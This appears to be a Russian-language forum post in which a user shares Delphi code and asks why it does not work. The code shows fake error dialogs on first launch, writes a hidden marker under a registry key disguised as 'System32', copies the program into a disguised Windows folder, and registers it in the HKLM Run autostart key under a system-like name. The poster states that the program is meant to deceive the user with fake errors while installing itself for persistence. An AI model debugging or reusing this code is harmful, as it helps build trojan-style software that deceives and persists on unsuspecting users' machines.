реестр

[spydark91]

написал код:

begin
r:=tregistry.Create;
r.RootKey:=HKEY_LOCAL_MACHINE;
r.OpenKey('SOFTWARE',true);
r.OpenKey('System32',true);
if r.ValueExists('Sys')=false then
  begin
    application.MessageBox('Error #0000567140. Failed process. Restart application','Error #0000567140',0);
    application.MessageBox('Error #0000567140. Failed process. Restart application','Error #0000567140',0);
    application.MessageBox('Error #0000567140. Failed process. Restart application','Error #0000567140',0);
    r.WriteInteger('Sys',1);
    r.CloseKey;
 
    s:= GetWindowsPath;
    sr:=s[1];
    ro:= sr+':\Windows\Winn';
    CreateDirectory(pchar(ro),nil);
    CopyFile(PAnsiChar(extractfilepath(Application.exename)),PAnsiChar(ro),true);
 
 
 
    r.RootKey:=HKEY_LOCAL_MACHINE;
    r.LazyWrite:=false;
    r.openkey('software', false);
    r.OpenKey('microsoft',false);
    r.OpenKey('windows',false);
    r.OpenKey('currentversion',false);
    r.OpenKey('run',false);
    r.WriteString('Sys32',ro+'System32.exe');
    r.CloseKey;
    r.Free;
  end;

смысл: при первом запуске программы должен давать ошибки и копировать себя в автозапуск
но! почемуто ошибок нет,папки r.OpenKey('System32',true); тоже нет и соответственно нету значения
и в автозагрухке тож пусто
в чем я ошбися?